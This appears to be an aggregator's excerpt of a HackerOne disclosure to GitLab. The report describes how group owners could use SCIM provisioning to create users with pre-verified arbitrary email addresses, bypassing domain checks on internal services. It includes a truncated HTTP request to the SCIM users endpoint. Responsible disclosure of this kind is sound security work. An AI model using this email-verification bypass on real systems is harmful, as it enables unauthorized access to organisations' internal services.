Bypass Email Verification -- Able to Access Internal Gitlab Services that use Login with Gitlab and Perform Check on email domain
访问控制 / Reliance on Untrusted Inputs in a Security Decision / #565883
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Summary Hi, I found the new SCIM provisioning function allows any group owner in gitlab to create any user with verified email address. i.e. I can create user with email address [email protected], and gitlab.com will think [email protected] is verified already.
原文中的代码
POST /api/scim/v2/groups/YOUR_GROUP_NAME/Users HTTP/1.1 Host: gitlab.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, …
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阅读 HackerOne 原文 ↗作者 @ngalog · 版权归作者与 GitLab 所有